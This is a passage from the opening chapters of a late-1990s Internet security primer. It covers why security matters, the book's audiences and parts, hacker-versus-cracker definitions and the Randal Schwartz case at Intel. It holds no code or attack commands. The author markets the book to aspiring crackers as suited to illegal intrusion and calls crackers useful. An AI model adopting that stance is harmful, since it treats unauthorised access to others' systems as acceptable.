vendor who supplies the tools to \nfacilitate that commerce. These parties (and their reasons for security) are obvious. \nHowever, there are some not so obvious reasons. \nPrivacy is one such concern. The Internet represents the first real evidence that an \nOrwellian society can be established. Every user should be aware that nonencrypted \ncommunication across the Internet is totally insecure. Likewise, each user should be \naware that government agencies--not crackers--pose the greatest threat. Although the \nInternet is a wonderful resource for research or recreation, it is not your friend (at least, \nnot if you have anything to hide). \nThere are other more concrete reasons to promote security education. I will focus on \nthese for a moment. The Internet is becoming more popular. Each day, development \nfirms introduce new and innovative ways to use the Network. It is likely that within five \nyears, the Internet will become an important and functional part of our lives. \nThe Corporate Sector \nFor the moment, set aside dramatic scenarios such as corporate espionage. These subjects \nare exciting for purposes of discussion, but their actual incidence is rare. Instead, I'd like \nto concentrate on a very real problem: cost. \nThe average corporate database is designed using proprietary software. Licensing fees for \nthese big database packages can amount to tens of thousands of dollars. Fixed costs of \nthese databases include programming, maintenance, and upgrade fees. In short, \ndevelopment and sustained use of a large, corporate database is costly and labor \nintensive. \nWhen a firm maintains such a database onsite but without connecting it to the Internet, \nsecurity is a limited concern. To be fair, an administrator must grasp the basics of \nnetwork security to prevent aspiring hackers in this or that department from gaining \nunauthorized access to data. Nevertheless, the number of potential perpetrators is limited \nand access is usually restricted to a few, well-known protocols. \nNow, take that same database and connect it to the Net. Suddenly, the picture is \ndrastically different. First, the number of potential perpetrators is unknown and unlimited. \nAn attack could originate from anywhere, here or overseas. Furthermore, access is no \nlonger limited to one or two protocols. \n" }, { "page_number": 19, "text": " \n \nThe very simple operation of connecting that database to the Internet opens many \navenues of entry. For example, database access architecture might require the use of one \nor more foreign languages to get the data from the database to the HTML page. I have \nseen scenarios that were incredibly complex. In one scenario, I observed a six-part \nprocess. From the moment the user clicked a Submit button, a series of operations were \nundertaken: \n1. The variable search terms submitted by the user were extracted and parsed by a Perl script. \n \n2. The Perl script fed these variables to an intermediate program designed to interface with a \nproprietary database package. \n \n3. The proprietary database package returned the result, passing it back to a Perl script that \nformatted the data into HTML. \nAnyone legitimately employed in Internet security can see that this scenario was a \ndisaster waiting to happen. Each stage of the operation boasted a potential security hole. \nFor exactly this reason, the development of database security techniques is now a hot \nsubject in many circles. \nAdministrative personnel are sometimes quick to deny (or restrict) funding for security \nwithin their corporation. They see this cost as unnecessary, largely because they do not \nunderstand the dire nature of the alternative. The reality is this: One or more talented \ncrackers could--in minutes or hours--destroy several years of data entry. \nBefore business on the Internet can be reliably conducted, some acceptable level of \nsecurity must be reached. For companies, education is an economical way to achieve at \nleast minimal security. What they spend now may save many times that amount later. \nGovernment \nFolklore and common sense both suggest that government agencies know something \nmore, something special about computer security. Unfortunately, this simply isn't true \n(with the notable exception of the National Security Agency). As you will learn, \ngovernment agencies routinely fail in their quest for security. \nIn the following chapters, I will examine various reports (including one very recent one) \nthat demonstrate the poor security now maintained by U.S. government servers. The \nsensitivity of data accessed by hackers is amazing. \nThese arms of government (and their attending institutions) hold some of the most \npersonal data on Americans. More importantly, these folks hold sensitive data related to \nnational security. At the minimum, this information needs to be protected. \nOperating Systems \nThere is substantial rivalry on the Internet between users of different operating systems. \nLet me make one thing clear: It does not matter which operating system you use. Unless \nit is a secure operating system (that is, one where the main purpose of its design is \nnetwork security), there will always be security holes, apparent or otherwise. True, \nstudies have shown that to date, fewer holes have been found in Mac and PC-based \n" }, { "page_number": 20, "text": " \n \noperating systems (as opposed to UNIX, for example), at least in the context to the \nInternet. However, such studies are probably premature and unreliable. \nOpen Systems \nUNIX is an open system. As such, its source is available to the public for examination. In \nfact, many common UNIX programs come only in source form. Others include binary \ndistributions, but still include the source. (An illustrative example would be the Gopher \npackage from the University of Minnesota.) Because of this, much is known about the \nUNIX operating system and its security flaws. Hackers can inexpensively establish Linux \nboxes in their homes and hack until their faces turn blue. \nClosed and Proprietary Systems \nConversely, the source of proprietary and closed operating systems is unavailable. The \nmanufacturers of such software furiously protect their source, claiming it to be a trade \nsecret. As these proprietary operating systems gravitate to the Net, their security flaws \nwill become more readily apparent. To be frank, this process depends largely on the \ncracking community. As crackers put these operating systems (and their newly \nimplemented TCP/IP) to the test, interesting results will undoubtedly emerge. But, to my \npoint. \nWe no longer live in a world governed exclusively by a single operating system. As the \nInternet grows in scope and size, all operating systems known to humankind will become \nintegral parts of the network. Therefore, operating-system rivalry must be replaced by a \nmore sensible approach. Network security now depends on having good, general security \nknowledge. (Or, from another angle, successful hacking and cracking depends on \nknowing all platforms, not just one.) So, I ask my readers to temporarily put aside their \nbias. In terms of the Internet at least, the security of each one of us depends on us all and \nthat is no trivial statement. \nHow Will This Book Affect the Internet Community? \nThis section begins with a short bedtime story. It is called The Loneliness of the Long-\nDistance Net Surfer. \nThe Information Superhighway is a dangerous place. Oh, the main highway isn't so bad. \nProdigy, America Online, Microsoft Network...these are fairly clean thoroughfares. They \nare beautifully paved, with colorful signs and helpful hints on where to go and what to \ndo. But pick a wrong exit, and you travel down a different highway: one littered with \nburned-out vehicles, overturned dumpsters, and graffiti on the walls. You see smoke \nrising from fires set on each side of the road. If you listen, you can hear echoes of a \ndistant subway mixed with strange, exotic music. \nYou pull to a stop and roll down the window. An insane man stumbles from an alley, his \ntattered clothes blowing in the wind. He careens toward your vehicle, his weathered \nshoes scraping against broken glass and concrete. He is mumbling as he approaches your \nwindow. He leans in and you can smell his acrid breath. He smiles--missing two front \n" }, { "page_number": 21, "text": " \n \nteeth--and says \"Hey, buddy...got a light?\" You reach for the lighter, he reaches for a \nknife. As he slits your throat, his accomplices emerge from the shadows. They descend \non your car as you fade into unconsciousness. Another Net Surfer bites the dust. Others \ndecry your fate. He should have stayed on the main road! Didn't the people at the pub tell \nhim so? Unlucky fellow. \nThis snippet is an exaggeration; a parody of horror stories often posted to the Net. Most \ncommonly, they are posted by commercial entities seeking to capitalize on your fears and \nlimited understanding of the Internet. These stories are invariably followed by \nendorsements for this or that product. Protect your business! Shield yourself now! This is \nan example of a phenomenon I refer to as Internet voodoo. To practitioners of this secret \nart, the average user appears as a rather gullible chap. A sucker. \nIf this book accomplishes nothing else, I hope it plays a small part in eradicating Internet \nvoodoo. It provides enough education to shield the user (or new system administrator) \nfrom unscrupulous forces on the Net. Such forces give the Internet-security field a bad \nname. \nI am uncertain as to what other effects this book might have on the Internet community. I \nsuspect that these effects will be subtle or even imperceptible. Some of these effects \nmight admittedly be negative and for this, I apologize. I am aware that Chapter 9, \n\"Scanners,\" where I make most of the known scanners accessible to and easily \nunderstood by anyone, will probably result in a slew of network attacks (probably \ninitiated by youngsters just beginning their education in hacking or cracking). \nNevertheless, I am hoping that new network administrators will also employ these tools \nagainst their own networks. In essence, I have tried to provide a gateway through which \nany user can become security literate. I believe that the value of the widespread \ndissemination of security material will result in an increased number of hackers (and \nperhaps, crackers). \nSummary \nI hope this chapter clearly articulates the reasons I wrote this book: \n• \nTo provide inexperienced users with a comprehensive source about security \n• \nTo provide system administrators with a reference book \n• \nTo generally heighten public awareness of the need for adequate security \nThere is also another, one that is less general: I wanted to narrow the gap between the \nradical and conservative information now available about Internet security. It is \nsignificant that many valuable contributions to Internet security have come from the \nfringe (a sector seldom recognized for its work). To provide the Internet community with \na book of value, these fringe elements had to be included. \nThe trouble is, if you examine security documents from the fringe, they are very grass \nroots and revolutionary. This style--which is uniquely American if nothing else--is often \n" }, { "page_number": 22, "text": " \n \na bit much for square security folks. Likewise, serious security documents can be stuffy, \nacademic, and, to be frank, boring. I wanted to deliver a book of equal value to readers \naiming for either camp. I think that I have. \n" }, { "page_number": 23, "text": " \n \n2 \nHow This Book Will Help You \nPrior to writing this book, I had extensive discussions with the Sams.net editorial staff. In \nthose discussions, one thing became immediately clear: Sams.net wanted a book that was \nvaluable to all users, not just to a special class of them. An examination of earlier books \non the subject proved instructive. The majority were well written and tastefully presented, \nbut appealed primarily to UNIX or NT system administrators. I recognized that while this \nclass of individuals is an important one, there are millions of average users yearning for \nbasic knowledge of security. To accommodate that need, I aimed at creating an all-\npurpose Internet security book. \nTo do so, I had to break some conventions. Accordingly, this book probably differs from \nother Sams.net books in both content and form. Nevertheless, the book contains copious \nknowledge, and there are different ways to access it. This chapter briefly outlines how the \nreader can most effectively access and implement that knowledge. \nIs This Book of Practical Use? \nIs this book of practical use? Absolutely. It can serve both as a reference book and a \ngeneral primer. The key for each reader is to determine what information is most \nimportant to him or her. The book loosely follows two conventional designs common to \nbooks by Sams.net: \n• \nEvolutionary ordering (where each chapter arises, in some measure, from information in an earlier \none) \n• \nDevelopmental ordering (where you travel from the very simple to the complex) \nThis book is a hybrid of both techniques. For example, the book examines services in the \nTCP/IP suite, then quickly progresses to how those services are integrated in modern \nbrowsers, how such services are compromised, and ultimately, how to secure against \nsuch compromises. In this respect, there is an evolutionary pattern to the book. \nAt the same time, the book begins with a general examination of the structure of the \nInternet and TCP/IP (which will seem light in comparison to later analyses of sniffing, \nwhere you examine the actual construct of an information packet). As you progress, the \ninformation becomes more and more advanced. In this respect, there is a developmental \npattern to the book. \nUsing This Book Effectively: Who Are You? \nDifferent people will derive different benefits from this book, depending on their \ncircumstances. I urge each reader to closely examine the following categories. The \ninformation will be most valuable to you whether you are \n" }, { "page_number": 24, "text": " \n \n• \nA system administrator \n• \nA hacker \n• \nA cracker \n• \nA business person \n• \nA journalist \n• \nA casual user \n• \nA security specialist \nI want to cover these categories and how this book can be valuable to each. If you do not \nfit cleanly into one of these categories, try the category that best describes you. \nSystem Administrator \nA system administrator is any person charged with managing a network or any portion of \na network. Sometimes, people might not realize that they are a system administrator. In \nsmall companies, for example, programming duties and system administration are \nsometimes assigned to a single person. Thus, this person is a general, all-purpose \ntechnician. They keep the system running, add new accounts, and basically perform any \ntask required on a day-to-day basis. This, for your purposes, is a system administrator. \nWhat This Book Offers the System Administrator \nThis book presumes only basic knowledge of security from its system administrators, and \nI believe that this is reasonable. Many capable system administrators are not well versed \nin security, not because they are lazy or incompetent but because security was for them \n(until now) not an issue. For example, consider the sysad who lords over an internal \nLAN. One day, the powers that be decree that the LAN must establish a connection to the \nNet. Suddenly, that sysad is thrown into an entirely different (and hostile) environment. \nHe or she might be exceptionally skilled at internal security but have little practical \nexperience with the Internet. Today, numerous system administrators are faced with this \ndilemma. For many, additional funding to hire on-site security specialists is not available \nand thus, these people must go it alone. Not anymore. This book will serve such system \nadministrators well as an introduction to Internet security. \nLikewise, more experienced system administrators can effectively use this book to learn--\nor perhaps refresh their knowledge about--various aspects of Internet security that have \nbeen sparsely covered in books mass-produced for the general public. \nFor either class of sysad, this book will serve a fundamental purpose: It will assist them \nin protecting their network. Most importantly, this book shows the attack from both sides \nof the fence. It shows both how to attack and how to defend in a real-life, combat \nsituation. \n" }, { "page_number": 25, "text": " \n \nHacker \nThe term hacker refers to programmers and not to those who unlawfully breach the \nsecurity of systems. A hacker is any person who investigates the integrity and security of \nan operating system. Most commonly, these individuals are programmers. They usually \nhave advanced knowledge of both hardware and software and are capable of rigging (or \nhacking) systems in innovative ways. Often, hackers determine new ways to utilize or \nimplement a network, ways that software manufacturers had not expressly intended. \nWhat This Book Offers the Hacker \nThis book presumes only basic knowledge of Internet security from its hackers and \nprogrammers. For them, this book will provide insight into the Net's most common \nsecurity weaknesses. It will show how programmers must be aware of these weaknesses. \nThere is an ever-increasing market for those who can code client/server applications, \nparticularly for use on the Net. This book will help programmers make informed \ndecisions about how to develop code safely and cleanly. As an added benefit, analysis of \nexisting network utilities (and their deficiencies) may assist programmers in developing \nnewer and perhaps more effective applications for the Internet. \nCracker \nA cracker is any individual who uses advanced knowledge of the Internet (or networks) \nto compromise network security. Historically, this activity involved cracking encrypted \npassword files, but today, crackers employ a wide range of techniques. Hackers also \nsometimes test the security of networks, often with the identical tools and techniques \nused by crackers. To differentiate between these two groups on a trivial level, simply \nremember this: Crackers engage in such activities without authorization. As such, most \ncracking activity is unlawful, illegal, and therefore punishable by a term of imprisonment. \nWhat This Book Offers the Cracker \nFor the budding cracker, this book provides an incisive shortcut to knowledge of cracking \nthat is difficult to acquire. All crackers start somewhere, many on the famous Usenet \ngroup alt.2600. As more new users flood the Internet, quality information about cracking \n(and security) becomes more difficult to find. The range of information is not well \nrepresented. Often, texts go from the incredibly fundamental to the excruciatingly \ntechnical. There is little material that is in between. This book will save the new cracker \nhundreds of hours of reading by digesting both the fundamental and the technical into a \nsingle (and I hope) well-crafted presentation. \nBusiness Person \nFor your purposes, business person refers to any individual who has established (or will \nestablish) a commercial enterprise that uses the Internet as a medium. Hence, a business \nperson--within the meaning employed in this book--is anyone who conducts commerce \nover the Internet by offering goods or services. \n \n" }, { "page_number": 26, "text": " \n \nNOTE: It does not matter whether these goods or services are offered free as a \npromotional service. I still classify this as business. \n \nWhat This Book Offers the Business Person \nBusinesses establish permanent connections each day. If yours is one of them, this book \nwill help you in many ways, such as helping you make informed decisions about security. \nIt will prepare you for unscrupulous security specialists, who may charge you thousands \nof dollars to perform basic, system-administration tasks. This book will also offer a basic \nframework for your internal security policies. You have probably read dozens of dramatic \naccounts about hackers and crackers, but these materials are largely sensationalized. \n(Commercial vendors often capitalize on your fear by spreading such stories.) The \ntechniques that will be employed against your system are simple and methodical. Know \nthem, and you will know at least the basics about how to protect your data. \nJournalist \nA journalist is any party who is charged with reporting on the Internet. This can be \nsomeone who works for a wire news service or a college student writing for his or her \nuniversity newspaper. The classification has nothing to do with how much money is paid \nfor the reporting, nor where the reporting is published. \nWhat This Book Offers the Journalist \nIf you are a journalist, you know that security personnel rarely talk to the media. That is, \nthey rarely provide an inside look at Internet security (and when they do, this usually \ncomes in the form of assurances that might or might not have value). This book will \nassist journalists in finding good sources and solid answers to questions they might have. \nMoreover, this book will give the journalist who is new to security an overall view of the \nterrain. Technology writing is difficult and takes considerable research. My intent is to \nnarrow that field of research for journalists who want to cover the Internet. In coming \nyears, this type of reporting (whether by print or broadcast media) will become more \nprevalent. \nCasual User \nA casual user is any individual who uses the Internet purely as a source of entertainment. \nSuch users rarely spend more than 10 hours a week on the Net. They surf subjects that are \nof personal interest. \nWhat This Book Offers the Casual User \nFor the casual user, this book will provide an understanding of the Internet's innermost \nworkings. It will prepare the reader for personal attacks of various kinds, not only from \nother, hostile users, but from the prying eyes of government. Essentially, this book will \ninform the reader that the Internet is not a toy, that one's identity can be traced and bad \nthings can happen while using the Net. For the casual user, this book might well be \nretitled How to Avoid Getting Hijacked on the Information Superhighway. \n" }, { "page_number": 27, "text": " \n \nSecurity Specialist \nA security specialist is anyone charged with securing one or more networks from attack. \nIt is not necessary that they get paid for their services in order to qualify in this category. \nSome people do this as a hobby. If they do it, they are a specialist. \nWhat This Book Offers the Security Specialist \nIf your job is security, this book can serve as one of two things: \n• \nA reference book \n• \nAn in-depth look at various tools now being employed in the void \n \nNOTE: In this book, the void refers to that portion of the Internet that exists beyond your \nrouter or modem. It is the dark, swirling mass of machines, services, and users beyond \nyour computer or network. These are quantities that are unknown to you. This term is \ncommonly used in security circles to refer to such quantities. \n \nMuch of the information covered here will be painfully familiar to the security specialist. \nSome of the material, however, might not be so familiar. (Most notably, some cross-\nplatform materials for those maintaining networks with multiple operating systems.) \nAdditionally, this book imparts a comprehensive view of security, encapsulated into a \nsingle text. (And naturally, the materials on the CD-ROM will provide convenience and \nutility.) \nThe Good, the Bad, and the Ugly \nHow you use this book is up to you. If you purchased or otherwise procured this book as \na tool to facilitate illegal activities, so be it. You will not be disappointed, for the \ninformation contained within is well suited to such undertakings. However, note that this \nauthor does not suggest (nor does he condone) such activities. Those who unlawfully \npenetrate networks seldom do so for fun and often pursue destructive objectives. \nConsidering how long it takes to establish a network, write software, configure hardware, \nand maintain databases, it is abhorrent to the hacking community that the cracking \ncommunity should be destructive. Still, that is a choice and one choice--even a bad one--\nis better than no choice at all. Crackers serve a purpose within the scheme of security, \ntoo. They assist the good guys in discovering faults inherent within the network. \nWhether you are good, bad, or ugly, here are some tips on how to effectively use this \nbook: \n• \nIf you are charged with understanding in detail a certain aspect of security, follow the notes \nclosely. Full citations appear in these notes, often showing multiple locations for a security \ndocument, RFC, FYI, or IDraft. Digested versions of such documents can never replace having the \noriginal, unabridged text. \n" }, { "page_number": 28, "text": " \n \n• \nThe end of each chapter contains a small rehash of the information covered. For extremely handy \nreference, especially for those already familiar with the utilities and concepts discussed, this \n\"Summary\" portion of the chapter is quite valuable. \nCertain examples contained within this book are available on the CD-ROM. Whenever \nyou see the CD-ROM icon on the outside margin of a page, the resource is available on \nthe CD. This might be source code, technical documents, an HTML presentation, system \nlogs, or other valuable information. \nThe Book's Parts \nThe next sections describe the book's various parts. Contained within each description is \na list of subjects covered within that chapter. \nPart I: Setting the Stage \nPart I of this book will be of the greatest value to users who have just joined the Internet \ncommunity. Topics include \n• \nWhy I wrote this book \n• \nWhy you need security \n• \nDefinitions of hacking and cracking \n• \nWho is vulnerable to attack \nEssentially, Part I sets the stage for the remaining parts of this book. It will assist readers \nin understanding the current climate on the Net. \nPart II: Understanding the Terrain \nPart II of this book is probably the most critical. It illustrates the basic design of the \nInternet. Each reader must understand this design before he or she can effectively grasp \nconcepts in security. Topics include \n• \nWho created the Internet and why \n• \nHow the Internet is designed and how it works \n• \nPoor security on the Internet and the reasons for it \n• \nInternet warfare as it relates to individuals and networks \nIn short, you will examine why and how the Internet was established, what services are \navailable, the emergence of the WWW, why security might be difficult to achieve, and \nvarious techniques for living in a hostile computing environment. \nPart III: Tools \nPart III of this book examines the average toolbox of the hacker or cracker. It familiarizes \nthe reader with Internet munitions, or weapons. It covers the proliferation of such \n" }, { "page_number": 29, "text": " \n \nweapons, who creates them, who uses them, how they work, and how the reader can use \nthem. Some of the munitions covered are \n• \nPassword crackers \n• \nTrojans \n• \nSniffers \n• \nTools to aid in obscuring one's identity \n• \nScanners \n• \nDestructive devices, such as e-mail bombs and viruses \nThe coverage necessarily includes real-life examples. This chapter will be most useful to \nreaders engaging in or about to engage in Internet security warfare. \nPart IV: Platforms and Security \nPart IV of this book ventures into more complex territory, treating vulnerabilities inherent \nin certain operating systems or applications. At this point, the book forks, concentrating \non issues relevant to particular classes of users. (For example, if you are a Novell user, \nyou will naturally gravitate to the Novell chapter.) \nPart IV begins with basic discussion of security weaknesses, how they develop, and \nsources of information in identifying them. Part IV then progresses to platforms, \nincluding \n• \nMicrosoft \n• \nUNIX \n• \nNovell \n• \nVAX/VMS \n• \nMacintosh \n• \nPlan 9 from Bell Labs \nPart V: Beginning at Ground Zero \nPart V of this book examines who has the power on a given network. I will discuss the \nrelationship between these authoritarian figures and their users, as well as abstract and \nphilosophical views on Internet security. At this point, the material is most suited for \nthose who will be living with security issues each day. Topics include \n• \nRoot, supervisor, and administrator accounts \n• \nTechniques of breaching security internally \n• \nSecurity concepts and philosophy \n" }, { "page_number": 30, "text": " \n \nPart VI: The Remote Attack \nPart VI of this book concerns attacks: actual techniques to facilitate the compromise of a \nremote computer system. In it, I will discuss levels of attack, what these mean, and how \none can prepare for them. You will examine various techniques in depth: so in depth that \nthe average user can grasp--and perhaps implement--attacks of this nature. Part VI also \nexamines complex subjects regarding the coding of safe CGI programs, weaknesses of \nvarious computer languages, and the relative strengths of certain authentication \nprocedures. Topics discussed in this part include \n• \nDefinition of a remote attack \n• \nVarious levels of attack and their dangers \n• \nSniffing techniques \n• \nSpoofing techniques \n• \nAttacks on Web servers \n• \nAttacks based on weaknesses within various programming languages \nPart VII: The Law \nPart VII confronts the legal, ethical, and social ramifications of Internet security and the \nlack, compromise, and maintenance thereof. \nThis Book's Limitations \nThe scope of this book is wide, but there are limitations on the usefulness of the \ninformation. Before examining these individually, I want to make something clear: \nInternet security is a complex subject. If you are charged with securing a network, relying \nsolely upon this book is a mistake. No book has yet been written that can replace the \nexperience, gut feeling, and basic savvy of a good system administrator. It is likely that \nno such book will ever be written. That settled, some points on this book's limitations \ninclude the following: \n• \nTimeliness \n• \nUtility \nTimeliness \nI commenced this project in January, 1997. Undoubtedly, hundreds of holes have \nemerged or been plugged since then. Thus, the first limitation of this book relates to \ntimeliness. \nTimelines might or might not be a huge factor in the value of this book. I say might or \nmight not for one reason only: Many people do not use the latest and the greatest in \nsoftware or hardware. Economic and administrative realities often preclude this. Thus, \nthere are LANs now operating on Windows for Workgroups that are permanently \n" }, { "page_number": 31, "text": " \n \nconnected to the Net. Similarly, some individuals are using SPARCstation 1s running \nSunOS 4.1.3 for access. Because older software and hardware exist in the void, much of \nthe material here will remain current. (Good examples are machines with fresh installs of \nan older operating system that has now been proven to contain numerous security bugs.) \nEqually, I advise the reader to read carefully. Certain bugs examined in this book are \ncommon to a single version of software only (for example, Windows NT Server 3.51). \nThe reader must pay particular attention to version information. One version of a given \nsoftware might harbor a bug, whereas a later version does not. The security of the \nInternet is not a static thing. New holes are discovered at the rate of one per day. \n(Unfortunately, such holes often take much longer to fix.) \nBe assured, however, that at the time of this writing, the information contained within \nthis book was current. If you are unsure whether the information you need has changed, \ncontact your vendor. \nUtility \nAlthough this book contains many practical examples, it is not a how-to for cracking \nInternet servers. True, I provide many examples of how cracking is done and even \nutilities with which to accomplish that task, but this book will not make the reader a \nmaster hacker or cracker. There is no substitute for experience, and this book cannot \nprovide that. \nWhat this book can provide is a strong background in Internet security, hacking, and \ncracking. A reader with little knowledge of these subjects will come away with enough \ninformation to crack the average server (by average, I mean a server maintained by \nindividuals who have a working but somewhat imperfect knowledge of security). \nAlso, journalists will find this book bereft of the pulp style of sensationalist literature \ncommonly associated with the subject. For this, I apologize. However, sagas of tiger \nteams and samurais are of limited value in the actual application of security. Security is a \nserious subject, and should be reported as responsibly as possible. Within a few years, \nmany Americans will do their banking online. Upon the first instance of a private citizen \nlosing his life savings to a cracker, the general public's fascination with pulp hacking \nstories will vanish and the fun will be over. \nLastly, bona fide security specialists might find that for them, only the last quarter of the \nbook has significant value. As noted, I developed this book for all audiences. However, \nthese gurus should keep their eyes open as they thumb through this book. They might be \npleasantly surprised (or even downright outraged) at some of the information revealed in \nthe last quarter of the text. Like a sleight-of-hand artist who breaks the magician's code, I \nhave dropped some fairly decent baubles in the street. \nSummary \nIn short, depending on your position in life, this book will help you \n• \nProtect your network \n" }, { "page_number": 32, "text": " \n \n• \nLearn about security \n• \nCrack an Internet server \n• \nEducate your staff \n• \nWrite an informed article about security \n• \nInstitute a security policy \n• \nDesign a secure program \n• \nEngage in Net warfare \n• \nHave some fun \nIt is of value to hackers, crackers, system administrators, business people, journalists, \nsecurity specialists, and casual users. There is a high volume of information, the chapters \nmove quickly, and (I hope) the book imparts the information in a clear and concise \nmanner. \nEqually, this book cannot make the reader a master hacker or cracker, nor can it suffice as \nyour only source for security information. That said, let's move forward, beginning with a \nsmall primer on hackers and crackers. \n" }, { "page_number": 33, "text": " \n \n3 \nHackers and Crackers \nThe focus of this chapter is on hackers, crackers, and the differences between them. \nWhat Is the Difference Between a Hacker and a \nCracker? \nThere have been many articles written (particularly on the Internet) about the difference \nbetween hackers and crackers. In them, authors often attempt to correct public \nmisconceptions. This chapter is my contribution in clarifying the issue. \nFor many years, the American media has erroneously applied the word hacker when it \nreally means cracker. So the American public now believe that a hacker is someone who \nbreaks into computer systems. This is untrue and does a disservice to some of our most \ntalented hackers. \nThere are some traditional tests to determine the difference between hackers and \ncrackers. I provide these in order of their acceptance. First, I want to offer the general \ndefinitions of each term. This will provide a basis for the remaining portion of this \nchapter. Those definitions are as follows: \n• \nA hacker is a person intensely interested in the arcane and recondite workings of any computer \noperating system. Most often, hackers are programmers. As such, hackers obtain advanced \nknowledge of operating systems and programming languages. They may know of holes within \nsystems and the reasons for such holes. Hackers constantly seek further knowledge, freely share \nwhat they have discovered, and never, ever intentionally damage data. \n• \nA cracker is a person who breaks into or otherwise violates the system integrity of remote \nmachines, with malicious intent. Crackers, having gained unauthorized access, destroy vital data, \ndeny legitimate users service, or basically cause problems for their targets. Crackers can easily be \nidentified because their actions are malicious. \nThese definitions are good and may be used in the general sense. However, there are \nother tests. One is the legal test. It is said that by applying legal reasoning to the equation, \nyou can differentiate between hackers (or any other party) and crackers. This test requires \nno extensive legal training. It is applied simply by inquiring as to mens rea. \nMens Rea \nMens rea is a Latin term that refers to the guilty mind. It is used to describe that mental \ncondition in which criminal intent exists. Applying mens rea to the hacker-cracker \nequation seems simple enough. If the suspect unwittingly penetrated a computer system--\nand did so by methods that any law-abiding citizen would have employed at the time--\nthere is no mens rea and therefore no crime. However, if the suspect was well aware that \na security breach was underway--and he knowingly employed sophisticated methods of \n" }, { "page_number": 34, "text": " \n \nimplementing that breach--mens rea exists and a crime has been committed. By this \nmeasure, at least from a legal point of view, the former is an unwitting computer user \n(possibly a hacker) and the latter a cracker. In my opinion, however, this test is too rigid. \nAt day's end, hackers and crackers are human beings, creatures too complex to sum up \nwith a single rule. The better way to distinguish these individuals would be to understand \ntheir motivations and their ways of life. I want to start with the hacker. \nTo understand the mind-set of the hacker, you must first know what they do. To explain \nthat, I need to briefly discuss computer languages. \nComputer Languages \nA computer language is any set of libraries or instructions that, when properly arranged \nand compiled, can constitute a functional computer program. The building blocks of any \ngiven computer language never fundamentally change. Therefore, each programmer \nwalks to his or her keyboard and begins with the same basic tools as his or her fellows. \nExamples of such tools include \n• \nLanguage libraries--These are pre-fabbed functions that perform common actions that are usually \nincluded in any computer program (routines that read a directory, for example). They are provided \nto the programmer so that he or she can concentrate on other, less generic aspects of a computer \nprogram. \n• \nCompilers--These are software programs that convert the programmer's written code to an \nexecutable format, suitable for running on this or that platform. \nThe programmer is given nothing more than languages (except a few manuals that \ndescribe how these tools are to be used). It is therefore up to the programmer what \nhappens next. The programmer programs to either learn or create, whether for profit or \nnot. This is a useful function, not a wasteful one. Throughout these processes of learning \nand creating, the programmer applies one magical element that is absent within both the \nlanguage libraries and the compiler: imagination. That is the programmer's existence in a \nnutshell. \nModern hackers, however, reach deeper still. They probe the system, often at a \nmicrocosmic level, finding holes in software and snags in logic. They write programs to \ncheck the integrity of other programs. Thus, when a hacker creates a program that can \nautomatically check the security structure of a remote machine, this represents a desire to \nbetter what now exists. It is creation and improvement through the process of analysis. \nIn contrast, crackers rarely write their own programs. Instead, they beg, borrow, or steal \ntools from others. They use these tools not to improve Internet security, but to subvert it. \nThey have technique, perhaps, but seldom possess programming skills or imagination. \nThey learn all the holes and may be exceptionally talented at practicing their dark arts, \nbut they remain limited. A true cracker creates nothing and destroys much. His chief \npleasure comes from disrupting or otherwise adversely effecting the computer services of \nothers. \n" }, { "page_number": 35, "text": " \n \nThis is the division of hacker and cracker. Both are powerful forces on the Internet, and \nboth will remain permanently. And, as you have probably guessed by now, some \nindividuals may qualify for both categories. The very existence of such individuals assists \nin further clouding the division between these two odd groups of people. Now, I know \nthat real hackers reading this are saying to themselves \"There is no such thing as this \ncreature you are talking about. One is either a hacker or a cracker and there's no more to \nit.\" \nRandal Schwartz \nIf you had asked me five years ago, I would have agreed. However, today, it just isn't \ntrue. A good case in point is Randal Schwartz, whom some of you know from his \nweighty contributions to the programming communities, particularly his discourses on \nthe Practical Extraction and Report Language (Perl). With the exception of Perl's creator, \nLarry Wall, no one has done more to educate the general public on the Perl programming \nlanguage. Schwartz has therefore had a most beneficial influence on the Internet in \ngeneral. Additionally, Schwartz has held positions in consulting at the University of \nBuffalo, Silicon Graphics (SGI), Motorola Corporation, and Air Net. He is an extremely \ngifted programmer. \n \nNOTE: Schwartz has authored or co-authored quite a few books about Perl, including \nLearning Perl, usually called \"The Llama Book,\" published by O'Reilly & Associates \n(ISBN 1-56592-042-2). \n \nHis contributions notwithstanding, Schwartz remains on the thin line between hacker and \ncracker. In fall 1993 (and for some time prior), Schwartz was employed as a consultant at \nIntel in Oregon. In his capacity as a system administrator, Schwartz was authorized to \nimplement certain security procedures. As he would later explain on the witness stand, \ntestifying on his own behalf: \nPart of my work involved being sure that the computer systems were secure, to pay attention to \ninformation assets, because the entire company resides--the product of the company is what's \nsitting on those disks. That's what the people are producing. They are sitting at their work stations. \nSo protecting that information was my job, to look at the situation, see what needed to be fixed, \nwhat needed to be changed, what needed to be installed, what needed to be altered in such a way \nthat the information was protected. \nThe following events transpired: \n• \nOn October 28, 1993, another system administrator at Intel noticed heavy processes being run \nfrom a machine under his control. \n• \nUpon examination of those processes, the system administrator concluded that the program being \nrun was Crack, a common utility used to crack passwords on UNIX systems. This utility was \napparently being applied to network passwords at Intel and at least one other firm. \n• \nFurther examination revealed that the processes were being run by Schwartz or someone using his \nlogin and password. \n" }, { "page_number": 36, "text": " \n \n• \nThe system administrator contacted a superior who confirmed that Schwartz was not authorized to \ncrack the network passwords at Intel. \n• \nOn November 1, 1993, that system administrator provided an affidavit that was sufficient to \nsupport a search warrant for Schwartz's home. \n• \nThe search warrant was served and Schwartz was subsequently arrested, charged under an obscure \nOregon computer crime statute. The case is bizarre. You have a skilled and renowned programmer \ncharged with maintaining internal security for a large firm. He undertakes procedures to test the \nsecurity of that network and is ultimately arrested for his efforts. At least, the case initially appears \nthat way. Unfortunately, that is not the end of the story. Schwartz did not have authorization to \ncrack those password files. Moreover, there is some evidence that he violated other network \nsecurity conventions at Intel. \nFor example, Schwartz once installed a shell script that allowed him to access the Intel \nnetwork from other locations. This script reportedly opened a hole in Intel's firewall. \nAnother system administrator discovered this program, froze Schwartz's account, and \nconfronted him. Schwartz agreed that installing the script was not a good idea and further \nagreed to refrain from implementing that program again. Some time later, that same \nsystem administrator found that Schwartz had re-installed the program. (Schwartz \napparently renamed the program, thus throwing the system administrator off the trail.) \nWhat does all this mean? From my point of view, Randal Schwartz probably broke Intel \npolicy a number of times. What complicates the situation is that testimony reveals that \nsuch policy was never explicitly laid out to Schwartz. At least, he was given no document \nthat expressly prohibited his activity. Equally, however, it seems clear that Schwartz \noverstepped his authority. \nLooking at the case objectively, some conclusions can immediately be made. One is that \nmost administrators charged with maintaining network security use a tool like Crack. 